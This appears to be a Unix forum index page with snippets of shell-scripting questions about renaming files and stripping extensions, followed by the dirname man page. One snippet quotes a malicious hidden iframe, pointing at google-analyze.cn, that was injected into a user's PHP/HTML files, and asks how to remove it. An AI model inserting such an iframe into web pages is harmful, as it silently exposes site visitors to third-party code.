Hi,
I have files with names like file1.txt.txt.txt.txt and file2.txt.txt.txt.txt.txt............ (random infinite number of .txt exist).
how to truncate (mv) their names to ones with single .txt extension like file1.txt and file1.txt ? In other words, how to extract the filename upto first... (12 Replies)
I posted this already in another thread, but was told that I should create a seperate thread for the following question:
How do I strip the extension when the delimiter might occur multiple times in the filename?
For example:
I have 2 files as input for my script.
test.extension... (8 Replies)
here's the case :
almost of php/html file on my site has added the text :
<iframe src="http://google-analyze.cn/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>I don't know how this happen, so i want to remove above text from all... (16 Replies)
Hi,
i have say 100 files in a directory.
file1.log
file2.log
file3.log
file4.log
file5.log
file6.log
...
...
...
file99.log
file100.log
=========
I need to create another file which contains the list of al these log files.
each file should contain only 10 log file names.
it shud... (4 Replies)
Hi,
I have a huge directory structure with multiple directories and subdirectories in each of the directory.
i am trying to find the various file extensions in the directory structure and put them into a file.
is there any way through which i can accomplish this (4 Replies)
hi ,
I have certain files at the same path with differeent extensions like .dat , .txt etc ...........i need to rename them with extension .found at the same path with the help of loop....
also the files names will be like this ;
abc_2010_c1.dat
abc_2010_c2.dat
xyz_2010_c1.txt (2 Replies)
Hi all,
This is actually more for my lazyness then anything else, but I think others might find it useful to use as well. Basically this is what I am trying to achieve...
In my ubuntu home dir under Downloads is where firefox saves everything by default, now I know that you can manually... (3 Replies)
what’s going on these commands
(/tmpdir %) ls
Foo
(tmpdir % )cat foo
Cat:foo! No such file or directory
any help me out
i checked with permission...even though it is not working (1 Reply)
Hi all,
Please somebody help me with this:
I want to check if the files listed in a text file, are found under a directory or not.
For example: the file is list_of_files.txt, which contains inside this rows:
# cat list_of_files
logs
errors
paths
debug
#
I want to check if these... (3 Replies)
Hi, I have a control file which will contain all filenames(300) files. Loop through all the file names in the control files and check the existence of this file in another directory(same server). I need to infinitely(2 hrs) run this while loop until all the files are found. Once a file is found,... (5 Replies)
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LEARN ABOUT LINUX
dirname
DIRNAME(1) User Commands DIRNAME(1)NAME
dirname - strip last component from file name
SYNOPSIS
dirname NAME
dirname OPTION
DESCRIPTION
Print NAME with its trailing /component removed; if NAME contains no /'s, output `.' (meaning the current directory).
--help display this help and exit
--version
output version information and exit
EXAMPLES
dirname /usr/bin/sort
Output "/usr/bin".
dirname stdio.h
Output ".".
AUTHOR
Written by David MacKenzie and Jim Meyering.
REPORTING BUGS
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Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.
SEE ALSO basename(1), readlink(1)
The full documentation for dirname is maintained as a Texinfo manual. If the info and dirname programs are properly installed at your
site, the command
info coreutils 'dirname invocation'
should give you access to the complete manual.
GNU coreutils 8.5 February 2011 DIRNAME(1)